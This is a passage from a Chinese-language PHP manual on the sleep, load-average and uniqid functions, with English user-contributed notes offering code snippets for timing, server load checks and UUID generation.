                    $load = 100 - ($statData2[3] * 100 / $cpuTime);
                }
            }
        }

        return $load;
    }

    //----------------------------

    $cpuLoad = getServerLoad();
    if (is_null($cpuLoad)) {
        echo "CPU load not estimateable (maybe too old Windows or missing rights at Linux or Windows)";
    }
    else {
        echo $cpuLoad . "%";
    }

?>
kexianbin at diyism dot com 28-May-2014 10:35
Use this:
<?php
$loads=sys_getloadavg();
$core_nums=trim(shell_exec("grep -P '^physical id' /proc/cpuinfo|wc -l"));
$load=$loads[0]/$core_nums;
echo $load;
?>
vladvarna at gmail dot com 18-Jul-2012 02:51
You can emulate loadavg using this. Can also be used to get iowait

<?php
   function ProcStats()
   {
       $fp=fopen("/proc/stat","r");
       if(false===$fp)
               return false;
       $a=explode(' ',fgets($fp));
       array_shift($a); //get rid of 'cpu'
       while(!$a[0])
           array_shift($a); //get rid of ' '
       var_dump($a);
       fclose($fp);
       return $a;
   }

   $a=ProcStats();
   sleep(5);
   $b=ProcStats();

   $total=array_sum($b)-array_sum($a);

   $loadavg = round(100* (($b[0]+$b[1]+$b[2]) - ($a[0]+$a[1]+$a[2])) / $total, 2); // user+nice+system
   $iowait= round(100* ($b[4] - $a[4])/$total,2);

?>
rick at rctonline dot nl 24-Jan-2012 12:57
Here is another one that also works on windows. Note that this method is not fast, so be careful in the number of calls to this function.

<?php
function get_server_load() {

        if (stristr(PHP_OS, 'win')) {

            $wmi = new COM("Winmgmts://");
            $server = $wmi->execquery("SELECT LoadPercentage FROM Win32_Processor");

            $cpu_num = 0;
            $load_total = 0;

            foreach($server as $cpu){
                $cpu_num++;
                $load_total += $cpu->loadpercentage;
            }

            $load = round($load_total/$cpu_num);

        } else {

            $sys_load = sys_getloadavg();
            $load = $sys_load[0];

        }

        return (int) $load;

    }
?>
828586 at gmail dot com 12-Jun-2010 07:43
equivalent for windows
<?php
ob_start();
passthru('typeperf -sc 1 "\processor(_total)\% processor time"',$status);
$content = ob_get_contents();
ob_end_clean();
if ($status === 0) {
    if (preg_match("/\,\"([0-9]+\.[0-9]+)\"/",$content,$load)) {
        if ($load[1] > get_config('busy_error')) {
            header('HTTP/1.1 503 Too busy, try again later');
            die('Server too busy. Please try again later.');
        }
    }
}
?>
Anonymous 19-Nov-2009 12:14
To get just current load avg, you can do :

<?php
$output = shell_exec('cat /proc/loadavg');
$loadavg = substr($output,0,strpos($output," "));
?>
scott at corelevel dot com 27-Nov-2006 02:47
I was having a problem with a large script I need to run - was a loop through about 50,000 records and downloading several pictures for a bunch of them, and updating the database.

the problem came as I started getting visitors to my site, the server would get behind, run out of memory, iowait skyrockets, mysql slows down... was a total downhill spiral.

Use this to fix it.

$load = sys_getloadavg();
$sleep=5;
$maxload=2;
if ($load[0] > $maxload) {
       sleep($sleep);
    echo "Busy server - sleep $sleep seconds<br>";
}

I have to play with the load and the sleep number to find what worked for my script, but now my server does not bog at all.
surfchen at gmail dot com 06-Jul-2006 09:22
the codes below will provide this function for order versions of PHP.
if (!function_exists('sys_getloadavg')) {
    function sys_getloadavg()
    {
        $loadavg_file = '/proc/loadavg';
        if (file_exists($loadavg_file)) {
            return explode(chr(32),file_get_contents($loadavg_file));
        }
        return array(0,0,0);
    }
}
tom pittlik 03-Mar-2006 02:36
The code below mimics the output of sys_getloadavg(). You may have to tweak the way the substring is captured for different distros.

<?php

function sys_getloadavg_hack()
{
    $str = substr(strrchr(shell_exec("uptime"),":"),1);
    $avs = array_map("trim",explode(",",$str));

    return $avs;
}

print_r(sys_getloadavg_hack());

// Array
// (
//     [0] => 6.24
//     [1] => 4.92
//     [2] => 3.99
// )

?>

This function is a neat way of running low priority or non-essential cron jobs on a busy server - if the load is high, don't continue with the task (and try again in a few minutes time).


延缓执行若干秒和纳秒

  • ? sys_getloadavg
  • time_sleep_until ?
  • PHP Manual
  • 杂项 函数
  • 延缓执行若干秒和纳秒

time_nanosleep

(PHP 5, PHP 7, PHP 8)

time_nanosleep — 延缓执行若干秒和纳秒

说明

time_nanosleep(int $seconds, int $nanoseconds): array|bool

程序延缓执行指定数量的 seconds 和 nanoseconds。

参数

seconds

必须是一个非负整数。

nanoseconds

必须是一个小于1亿的非负整数。

Note: 在 Windows 上，系统的睡眠时间可能会超过指定的纳秒数，具体取决于硬件。

返回值

成功时返回 true， 或者在失败时返回 false。

如果延迟被中断，一个关联数组会返回，内容为：

  • seconds——延迟剩余未执行的秒数
  • nanoseconds——延迟剩余未执行的纳秒数

示例

Example #1 time_nanosleep() 示例

<?php
// 小心！如果返回数组，将无法按照预期工作
if (time_nanosleep(0, 500000000)) {
echo "Slept for half a second.\n";
}

// 这个更好：
if (time_nanosleep(0, 500000000) === true) {
echo "Slept for half a second.\n";
}

// 这个最好：
$nano = time_nanosleep(2, 100000);

if ($nano === true) {
echo "Slept for 2 seconds, 100 microseconds.\n";
} elseif ($nano === false) {
echo "Sleeping failed.\n";
} elseif (is_array($nano)) {
$seconds = $nano['seconds'];
$nanoseconds = $nano['nanoseconds'];
echo "Interrupted by a signal.\n";
echo "Time remaining: $seconds seconds, $nanoseconds nanoseconds.";
}
?>

参见

  • sleep() - 延缓执行
  • usleep() - 以指定的微秒数延迟执行
  • time_sleep_until() - 使脚本睡眠到指定的时间为止
  • set_time_limit() - 设置脚本最大执行时间

User Contributed Notes

b dot andrew at shaw dot ca 04-Jul-2008 09:10
A response to the note below:

Your function is also useless, as the WinNT 32 kernel only functions at a minimum of about 10+ ms (1,000 us), rendering usleep() useless, because usleep uses the C function which is provided by the system (in this case, kernel32.dll).

You'll want to use a function that does not rely on the kernel, but rather something made for precise measurement:

<?php
function usleep_win( $micro_seconds )
{
    if ( @function_exists( "socket_create" ) && @function_exists( "socket_select" ) )
    {
        $false = NULL;
        $socket = array( socket_create( AF_INET, SOCK_RAW, $false ) );
        socket_select( $false, $false, $socket, 0, $micro_seconds );
        return true;
    }
    else
    {
        return false;
    }
}
?>

This function will allow to you sleep for a specified microsecond, although I have measured it to be off by ~5 us.

Again, most of this depends on the hardware in your system. If you _REALLY_ need to be precise to < 10 us, you shouldn't be using WinNT anyways!
fantasysportswire at yahoo dot com 18-Dec-2006 03:27
Just glancing at this - and the note from over a year ago with a implementation for windows.. with 5.0.0 and higher it would be simplier to just do something like......

<?php

if (!function_exists('time_nanosleep')) {

function time_nanosleep($seconds, $nanoseconds) {

sleep($seconds);
usleep(round($nanoseconds/100));

return true;

}

}

?>

....off the top of my head - obviously simple enough there should be no mistakes.. but those are the ones that always seem to get ya :( .....
anybody (a) emuxperts.net 21-Aug-2006 04:03
Documentation states that "seconds" must be positive. This is not correct, 0 is possible.

Rather, "seconds" must be non-negative.
m at kufi dot net 13-Aug-2005 02:03
You should take into account, if you use the function replacement down here, the CPU will be in use of 99% for the time of execution...

(A little bit better in this situation is to let the 'full seconds' go by a normal sleep command (makes the thread sleep!, and uses minimum cpu))

<?php
    //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
    function timeWait($microtime)
    {
//optimizations added by me [start]
//sleep the full seconds
sleep(intval($microtime));
//set the microtime to only resleep the last part of the nanos
$microtime = $microtime - intval($microtime);
//optimizations added by me [end]

        $timeLimit = $microtime + array_sum(explode(" ",microtime()));
        while(array_sum(explode(" ",microtime())) < $timeLimit)
        {/*DO NOTHING*/}
        return(true);
    }

    //THIS IS HOW WE CAN USE IT
    echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
    timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
    echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
 ?>
tecnomaniac at ig dot com dot br 26-Jul-2005 03:04
This is an alternative function to sleep_nanosecond that you can use with PHP versions below PHP 5.0. It is not very accurate if we talk about nanoseconds but the results are satisfatory. Enjoy!

<?php
    //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
    function timeWait($microtime)
    {
        $timeLimit = $microtime + array_sum(explode(" ",microtime()));
        while(array_sum(explode(" ",microtime())) < $timeLimit)
        {/*DO NOTHING*/}
        return(true);
    }

    //THIS IS HOW WE CAN USE IT
    echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
    timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
    echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
?>


使脚本睡眠到指定的时间为止

  • ? time_nanosleep
  • uniqid ?
  • PHP Manual
  • 杂项 函数
  • 使脚本睡眠到指定的时间为止

time_sleep_until

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

time_sleep_until — 使脚本睡眠到指定的时间为止

说明

time_sleep_until(float $timestamp): bool

使脚本睡眠到指定的 timestamp。

参数

timestamp

将脚本唤醒的时间戳。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果设定的 timestamp 为过去的时间，脚本将会产生 E_WARNING 级别的错误。

示例

Example #1 time_sleep_until() 示例

<?php

// 返回 false 并生成警告
var_dump(time_sleep_until(time()-1));

// 只能在速度很快的电脑上运行，最多休眠 0.2 秒
var_dump(time_sleep_until(microtime(true)+0.2));

?>

注释

Note: 所有的信号会被延迟至脚本唤醒以后。

参见

  • sleep() - 延缓执行
  • usleep() - 以指定的微秒数延迟执行
  • time_nanosleep() - 延缓执行若干秒和纳秒
  • set_time_limit() - 设置脚本最大执行时间

User Contributed Notes

divinity76 at gmail dot com 28-Oct-2019 07:22
if you for some reason need a constant-time implementation of realpath(), try

<?php

function realpath_constant_time(string $path, float $target_seconds, bool &$constant_time_success = null){
    $start_time=microtime(true);
    $ret=realpath($path);
    $constant_time_success = @time_sleep_until($start_time+$target_seconds);
    return $ret;
}
?>

for example, a realtime that always uses exactly 1 millisecond (should be more than enough for SSD-based servers, perhaps rotating harddrive based servers may need something closer to 10 milliseconds, i don't know):

<?php
realpath_constant_time("/path/to/../to/file.txt",0.001,$constant_time_success);
?>

and you can use $constant_time_success to see if you needed more time (and thus failed to do realpath() in constant-time), or if you succeeded.
rowan dot collins at cwtdigital dot com 30-May-2012 10:42
Not realising that this function existed, I wrote something similar, but it has the additional facility to specify a minimum pause even if the target time has already been reached, for instance in a processor-intensive loop.

It's in seconds rather than microseconds (it's intended for heavy-duty CLI scripts), but that could easily be changed by using microtime(true) and usleep if greater granularity was required.

<?php
    /**
     * Pause processing until the specified time, to avoid hammering a DB or service
     *
     * @param int $target_time Timestamp
     * @param int $min_sleep Always sleep for a minimum number of seconds,
     *    even if the target timestamp has already passed.
     *     Default 0, meaning only sleep until the target timestamp is reached.
     *
     * @example <code>
         while ( ! $finished )
         {
             $minimum_start_of_next_loop = time() + $min_secs_per_loop;

             # DO STUFF THAT MAY OR MAY NOT TAKE VERY LONG

             sleep_until( $minimum_start_of_next_loop, $min_pause_between_loops );
         }
     </code>
     */
    function sleep_until($target_time, $min_sleep = 0)
    {
        $time_now = time();

        $time_to_target = $target_time - $time_now;

        // If we've already reached the target time, that's fine
        if ( $time_to_target <= $min_sleep )
        {
            // If required, sleep for a bit anyway
            sleep( $min_sleep );
        }
        else
        {
            // Sleep for the number of seconds until the target time
            sleep( $time_to_target );
        }
    }
?>
purdue at nc dot rr dot com 05-May-2011 11:04
At least on my Windows machine, the time_sleep_until function appears to calculate the number of microseconds between now and the sleep-until timestamp, and it appears to use unsigned 32-bit math in this calculation.  This roundoff leads to a maximum sleep time of just under 4295 seconds (1 hour, 11 minutes, 35 seconds).  To get longer sleep times, while still using time_sleep_until to minimize processor overhead, the following loop may be some help to you:

<?php

$sleepuntil = strtotime("tuesday 3pm");

while (time() < $sleepuntil)
   time_sleep_until($sleepuntil);

// proceed with dated processing

?>

Of course, one could use something like "cron" instead, to avoid the script doing the extended sleep.  Also note that time_nanosleep appears to do similar math, but it is somewhat more intuitive that the seconds parameter has an upper limit on what it can be.  Still, both functions might report a warning when waking up prematurely due to roundoff.


生成一个唯一ID

  • ? time_sleep_until
  • unpack ?
  • PHP Manual
  • 杂项 函数
  • 生成一个唯一ID

uniqid

(PHP 4, PHP 5, PHP 7, PHP 8)

uniqid — 生成一个唯一ID

说明

uniqid(string $prefix = "", bool $more_entropy = false): string

获取一个带前缀、基于当前时间微秒数的唯一ID。

Caution

本函数并不会生成安全加密的值，并且不可用于加密或者要求返回值不可猜测的目的。

如果需要加密安全随机，则可以将 Random\Engine\Secure 引擎用于 Random\Randomizer。对于简单的用例，random_int() 和 random_bytes() 函数提供了操作系统的 CSPRNG 支持的方便且安全的 API。

Warning

此函数不保证返回值的唯一性。由于绝大多数系统使用 NTP 或者类似服务调整系统的时间，所以系统时间经常发生变化。此外，进程/线程可能不会返回唯一的 ID。用 more_entropy 来增加唯一性的概率。

参数

prefix

有用的参数。例如：如果在多台主机上可能在同一微秒生成唯一ID。

prefix为空，则返回的字符串长度为 13。more_entropy 为 true，则返回的字符串长度为 23。

more_entropy

如果设置为 true，uniqid() 会在返回的字符串结尾增加额外的熵（使用线性同余组合发生器）。 使得唯一ID更具唯一性。

返回值

返回字符串形式的唯一ID。

Warning

此函数努力创建唯一识别符，但它不保证返回值得唯一性。

示例

Example #1 uniqid() 例子

<?php
/* 一个 uniqid，像：4b3403665fea6 */
printf("uniqid(): %s\r\n", uniqid());

/* 也可以为uniqid 添加前缀，以下两种方式相同：
*
* $uniqid = $prefix . uniqid();
* $uniqid = uniqid($prefix);
*/
printf("uniqid('php_'): %s\r\n", uniqid('php_'));

/* 还可以启用 more_entropy 参数，在
* 某些系统上是必须的，比如 Cygwin。这使得 uniqid()
* 产生如下值：4b340550242239.64159797
*/
printf("uniqid('', true): %s\r\n", uniqid('', true));
?>

注释

Note:

在 Cygwin 环境下，为了使此函数能够工作，more_entropy 必须设置为 true。

参见

  • random_bytes() - Get cryptographically secure random bytes

User Contributed Notes

Albert Rolando 06-Mar-2023 05:30
Don't try to overthink UUID V4 generation...

<?php
function generateUuid4() {
    $randomBytes = bin2hex(random_bytes(16));
    return sprintf("%s-%s-%s-%s-%s",
        substr($randomBytes, 0, 8),
        substr($randomBytes, 8, 4),
        substr($randomBytes, 12, 4),
        substr($randomBytes, 16, 4),
        substr($randomBytes, 20)
    );
}
?>
DimeCadmium 25-Jul-2019 07:00
Most of these notes are grossly wrong.

First: you probably shouldn't be using uniqid at all. I can't think of a good reason to use it. Maybe to use as an identifier for a particular run of your script in logging, where you don't particularly care if there's a collision? I don't know.

Second: don't rely on the output of uniqid to be, in any way, unique. This will break if you use it twice in quick succession, or if you have two different users at the same time, or if the phase of the moon is wrong.

Third: to nodkz who wrote the clientIPToHex function - you reinvented so many wheels. bin2hex(inet_pton($ip)) will do the same thing.

Fourth: do not use random bytes for a unique identifier (like hackan suggests). That only serves to virtually guarantee that you will eventually have a collision. (You can use random bytes, and get another set of random bytes if there's a collision... but it's a lot easier to just use a sequential identifier like you should, possibly along with a random key)
hackan at gmail dot com 05-Nov-2016 07:17
Seriously, avoid using this function. Here's an example of why:

<?php
for($i=0;$i<20;$i++) {
    echo uniqid(), PHP_EOL;
}
?>

Output:

5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6

As you can see, using it w/ a DB can cause the creation of documents with repeated ID's. You should instead opt for:

<?php
function uniqidReal($lenght = 13) {
    // uniqid gives 13 chars, but you could adjust it to your needs.
    if (function_exists("random_bytes")) {
        $bytes = random_bytes(ceil($lenght / 2));
    } elseif (function_exists("openssl_random_pseudo_bytes")) {
        $bytes = openssl_random_pseudo_bytes(ceil($lenght / 2));
    } else {
        throw new Exception("no cryptographically secure random function available");
    }
    return substr(bin2hex($bytes), 0, $lenght);
}
?>

Test:
<?php
for($i=0;$i<20;$i++) {
    echo uniqid(), "\t", uniqidReal(), PHP_EOL;
}
?>

Output:

5819fa0b63be3   9f39aa0ecd89d
5819fa0b70ed3   2c0735cabfcce
5819fa0b712bb   15e45d1ca1e90
5819fa0b712bb   89593dc230eb3
5819fa0b712bb   449795704aeef
5819fa0b712bb   b046877b80ac9
5819fa0b712bb   0a6fa0ae3ec7b
5819fa0b712bb   ba2f3f4d6afe0
5819fa0b712bb   af03cfac83fd6
5819fa0b712bb   eb9c3c6d475c0
5819fa0b712bb   edfbbf59d5e1b
5819fa0b712bb   500dca18888d4
5819fa0b716a3   4f5a40ef715f1
5819fa0b716a3   154e42b616825
5819fa0b716a3   a879a22663c9b
5819fa0b716a3   ea7c044ddda8a
5819fa0b716a3   2c81a44dc674e
5819fa0b716a3   bb32f37304fd9
5819fa0b716a3   30cdf6c0317d7
5819fa0b716a3   d25f529d126ae
php at dot dot dot metehanarslan dot com 21-Apr-2016 12:33
Here is my approach to generate short string unique id. I am just increasing base of UUID. If you need even shorter keys you may add more chars to $index . When $index gets longer $out will be shorter.

<?php
function struuid($entropy)
{
    $s=uniqid("",$entropy);
    $num= hexdec(str_replace(".","",(string)$s));
    $index = '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $base= strlen($index);
    $out = '';
        for($t = floor(log10($num) / log10($base)); $t >= 0; $t--) {
            $a = floor($num / pow($base,$t));
            $out = $out.substr($index,$a,1);
            $num = $num-($a*pow($base,$t));
        }
    return $out;
}

echo struuid(false); //Return sample: F4518NTQTQ
echo struuid(true);  //Return sample: F451FAHSUCD90N6YNRBQHLZ9E1W

?>
ciantic at NOSPAM dot oksidi dot com 05-Dec-2013 03:34
If you are storing the value to database it might be more efficient to use more letters than in hexadecimal, for me I decided 0-9a-z is good enough.

Notice also that many databases are case insensitive by default so using capitals maybe unwise anyway:

<?php

function uniqid_base36($more_entropy=false) {
    $s = uniqid('', $more_entropy);
    if (!$more_entropy)
        return base_convert($s, 16, 36);

    $hex = substr($s, 0, 13);
    $dec = $s[13] . substr($s, 15); // skip the dot
    return base_convert($hex, 16, 36) . base_convert($dec, 10, 36);
}

echo uniqid_base36() . "\n"; // ?eb98xzzhq7
echo uniqid_base36(true) . "\n"; // eb98xzzhr8dervre

?>

String length may vary with this method.
redtraider at gmail dot com 14-Feb-2012 12:37
I use this function to generate microsoft-compatible GUID's.

<?php
 public function create_guid($namespace = '') {
    static $guid = '';
    $uid = uniqid("", true);
    $data = $namespace;
    $data .= $_SERVER['REQUEST_TIME'];
    $data .= $_SERVER['HTTP_USER_AGENT'];
    $data .= $_SERVER['LOCAL_ADDR'];
    $data .= $_SERVER['LOCAL_PORT'];
    $data .= $_SERVER['REMOTE_ADDR'];
    $data .= $_SERVER['REMOTE_PORT'];
    $hash = strtoupper(hash('ripemd128', $uid . $guid . md5($data)));
    $guid = '{' .
            substr($hash,  0,  8) .
            '-' .
            substr($hash,  8,  4) .
            '-' .
            substr($hash, 12,  4) .
            '-' .
            substr($hash, 16,  4) .
            '-' .
            substr($hash, 20, 12) .
            '}';
    return $guid;
  }
?>
Anonymous 16-Jun-2011 04:08
Prefix can be useful, for instance, if you generate identifiers simultaneously on several hosts that might happen to generate the identifier at the same microsecond.
So we can include the hostname / servername in the id.
<?php
echo uniqid(php_uname('n'), true);
// Output: darkstar4dfa8c27aea106.40781203
?>
rommel at rommelsantor dot com 28-May-2011 03:29
The php5-uuid functions could definitely use some documentation to clarify how they should be used, but here's what I've gleaned by examining the OSSP source code (found here: http://ossp-uuid.sourcearchive.com/documentation/1.5.1-1ubuntu1/php_2uuid_8c-source.html).

The uuid_make() function takes two arguments when generating v1 or v4, but four arguments are required when generating v3 or v5. The first two arguments have been demonstrated below and are straightforward, so I'll skip to the as-yet non-described arguments.

The third argument to uuid_make() is: $namespace
  - this is a secondary resource created with uuid_create(); it is apparently used to generate an internal UUID, which is used as the namespace of the output UUID

The fourth argument to uuid_make() is: $url
  - this is the value that is to be hashed (MD5 for v3, SHA-1 for v5); it may be any string or even null

Here's a simple class illustrating the proper usage (note that if php5-uuid is not installed on your system, each function call will just return false):

<?php
class UUID {
  /**
   * Generates version 1: MAC address
   */
  public static function v1() {
    if (!function_exists('uuid_create'))
      return false;

    uuid_create(&$context);
    uuid_make($context, UUID_MAKE_V1);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 3 UUID: MD5 hash of URL
   */
  public static function v3($i_url) {
    if (!function_exists('uuid_create'))
      return false;

    if (!strlen($i_url))
      $i_url = self::v1();

    uuid_create(&$context);
    uuid_create(&$namespace);

    uuid_make($context, UUID_MAKE_V3, $namespace, $i_url);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 4 UUID: random
   */
  public static function v4() {
    if (!function_exists('uuid_create'))
      return false;

    uuid_create(&$context);

    uuid_make($context, UUID_MAKE_V4);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 5 UUID: SHA-1 hash of URL
   */
  public static function v5($i_url) {
    if (!function_exists('uuid_create'))
      return false;

    if (!strlen($i_url))
      $i_url = self::v1();

    uuid_create(&$context);
    uuid_create(&$namespace);

    uuid_make($context, UUID_MAKE_V5, $namespace, $i_url);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }
}
?>

And here's a demonstration:

<?php
for ($i = 1; $i <= 3; ++$i) {
  echo 'microtime = ' . microtime(true) . '<br/>';
  echo "V1 UUID: " . UUID::v1() . '<br/>';
  echo "V3 UUID of URL='abc': " . UUID::v3('abc') . '<br/>';
  echo "V4 UUID: " . UUID::v4() . '<br/>';
  echo "V5 UUID of URL=null: " . UUID::v5(null) . '<br/>';
  echo '<hr/>';
}
?>

And the output:

microtime = 1306620716.0457
V1 UUID: 7fddae8e-8977-11e0-bc11-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: b3851ec7-4871-4527-92b5-ef5616bae1e6
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d
-------------------
microtime = 1306620716.0465
V1 UUID: 7fddb83e-8977-11e0-9e6e-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: 7e78fe0d-59b8-4637-af7f-e88d221a7d1e
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d
-------------------
microtime = 1306620716.0467
V1 UUID: 7fddbfb4-8977-11e0-a2bc-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: 12a940c7-0f3f-46a1-bb5f-bdd602e10654
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d

As you can see, the calls to v3() always return the same UUID because the same URL parameter, "abc", is always supplied. The same goes for the v5() function which is always supplied a null URL.

The v4() UUIDs are always entirely different because they are (pseudo)random. And the v1() calls are very similar but just slightly different because it's based on the computer's MAC address and the current time.
php at ryanmckeel dot com 29-Jun-2010 10:15
Calls to uuid_make that use the constants UUID_MAKE_V5 or UUID_MAKE_V3 (using Debian package php5-uuid available June 2010) will not work with only two variables.

I could not find good documentation, so I read some source code and figured out that this would work:

uuid_create(&$v5);
//uuid_make($v5, UUID_MAKE_V5);
uuid_make($v5, UUID_MAKE_V5,$v5,$uniqid());
uuid_export($v5, UUID_FMT_STR, &$v5String);

Please use at your own risk.  This may not be the best way to give this param variables, but it at least makes it work what appears to be properly (generating unique ID's).

I imagine that UUID_MAKE_V3 is similar in what it needs.

  Ryan
Enrico Pallazzo 21-Mar-2010 02:45
Running:

rand_uniqid(9007199254740989);

will return 'PpQXn7COf' and:

rand_uniqid('PpQXn7COf', true);

will return '9007199254740989'

---

If you want the rand_uniqid to be at least 6 letter long, use the $pad_up = 6 argument

---

You can support even more characters (making the resulting rand_uniqid even smaller) by adding characters to the $index var at the top of the function body.

---

<?php
function rand_uniqid($in, $to_num = false, $pad_up = false, $passKey = null)
{
    $index = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    if ($passKey !== null) {
        // Although this function's purpose is to just make the
        // ID short - and not so much secure,
        // you can optionally supply a password to make it harder
        // to calculate the corresponding numeric ID

        for ($n = 0; $n<strlen($index); $n++) {
            $i[] = substr( $index,$n ,1);
        }

        $passhash = hash('sha256',$passKey);
        $passhash = (strlen($passhash) < strlen($index))
            ? hash('sha512',$passKey)
            : $passhash;

        for ($n=0; $n < strlen($index); $n++) {
            $p[] =  substr($passhash, $n ,1);
        }

        array_multisort($p,  SORT_DESC, $i);
        $index = implode($i);
    }

    $base  = strlen($index);

    if ($to_num) {
        // Digital number  <<--  alphabet letter code
        $in  = strrev($in);
        $out = 0;
        $len = strlen($in) - 1;
        for ($t = 0; $t <= $len; $t++) {
            $bcpow = bcpow($base, $len - $t);
            $out   = $out + strpos($index, substr($in, $t, 1)) * $bcpow;
        }

        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $out -= pow($base, $pad_up);
            }
        }
        $out = sprintf('%F', $out);
        $out = substr($out, 0, strpos($out, '.'));
    } else {
        // Digital number  -->>  alphabet letter code
        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $in += pow($base, $pad_up);
            }
        }

        $out = "";
        for ($t = floor(log($in, $base)); $t >= 0; $t--) {
            $bcp = bcpow($base, $t);
            $a   = floor($in / $bcp) % $base;
            $out = $out . substr($index, $a, 1);
            $in  = $in - ($a * $bcp);
        }
        $out = strrev($out); // reverse
    }

    return $out;
}

echo rand_uniqid(1);
?>
keith at keithtyler dot com 07-Dec-2009 06:18
For the record, the underlying function to uniqid() appears to be roughly as follows:

$m=microtime(true);
sprintf("%8x%05x\n",floor($m),($m-floor($m))*1000000);

In other words, first 8 hex chars = Unixtime, last 5 hex chars = microseconds. This is why it has microsecond precision. Also, it provides a means by which to reverse-engineer the time when a uniqid was generated:

date("r",hexdec(substr(uniqid(),0,8)));

Increasingly as you go further down the string, the number becomes "more unique" over time, with the exception of digit 9, where numeral prevalence is 0..3>4>5..f, because of the difference between 10^6 and 16^5 (this is presumably true for the remaining digits as well but much less noticeable).
Andrew Moore 04-Dec-2009 08:45
The following class generates VALID RFC 4211 COMPLIANT Universally Unique IDentifiers (UUID) version 3, 4 and 5.

Version 3 and 5 UUIDs are named based. They require a namespace (another valid UUID) and a value (the name). Given the same namespace and name, the output is always the same.

Version 4 UUIDs are pseudo-random.

UUIDs generated below validates using OSSP UUID Tool, and output for named-based UUIDs are exactly the same. This is a pure PHP implementation.

<?php
class UUID {
  public static function v3($namespace, $name) {
    if(!self::is_valid($namespace)) return false;

    // Get hexadecimal components of namespace
    $nhex = str_replace(array('-','{','}'), '', $namespace);

    // Binary Value
    $nstr = '';

    // Convert Namespace UUID to bits
    for($i = 0; $i < strlen($nhex); $i+=2) {
      $nstr .= chr(hexdec($nhex[$i].$nhex[$i+1]));
    }

    // Calculate hash value
    $hash = md5($nstr . $name);

    return sprintf('%08s-%04s-%04x-%04x-%12s',

      // 32 bits for "time_low"
      substr($hash, 0, 8),

      // 16 bits for "time_mid"
      substr($hash, 8, 4),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 3
      (hexdec(substr($hash, 12, 4)) & 0x0fff) | 0x3000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      (hexdec(substr($hash, 16, 4)) & 0x3fff) | 0x8000,

      // 48 bits for "node"
      substr($hash, 20, 12)
    );
  }

  public static function v4() {
    return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',

      // 32 bits for "time_low"
      mt_rand(0, 0xffff), mt_rand(0, 0xffff),

      // 16 bits for "time_mid"
      mt_rand(0, 0xffff),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 4
      mt_rand(0, 0x0fff) | 0x4000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      mt_rand(0, 0x3fff) | 0x8000,

      // 48 bits for "node"
      mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
  }

  public static function v5($namespace, $name) {
    if(!self::is_valid($namespace)) return false;

    // Get hexadecimal components of namespace
    $nhex = str_replace(array('-','{','}'), '', $namespace);

    // Binary Value
    $nstr = '';

    // Convert Namespace UUID to bits
    for($i = 0; $i < strlen($nhex); $i+=2) {
      $nstr .= chr(hexdec($nhex[$i].$nhex[$i+1]));
    }

    // Calculate hash value
    $hash = sha1($nstr . $name);

    return sprintf('%08s-%04s-%04x-%04x-%12s',

      // 32 bits for "time_low"
      substr($hash, 0, 8),

      // 16 bits for "time_mid"
      substr($hash, 8, 4),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 5
      (hexdec(substr($hash, 12, 4)) & 0x0fff) | 0x5000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      (hexdec(substr($hash, 16, 4)) & 0x3fff) | 0x8000,

      // 48 bits for "node"
      substr($hash, 20, 12)
    );
  }

  public static function is_valid($uuid) {
    return preg_match('/^\{?[0-9a-f]{8}\-?[0-9a-f]{4}\-?[0-9a-f]{4}\-?'.
                      '[0-9a-f]{4}\-?[0-9a-f]{12}\}?$/i', $uuid) === 1;
  }
}

// Usage
// Named-based UUID.

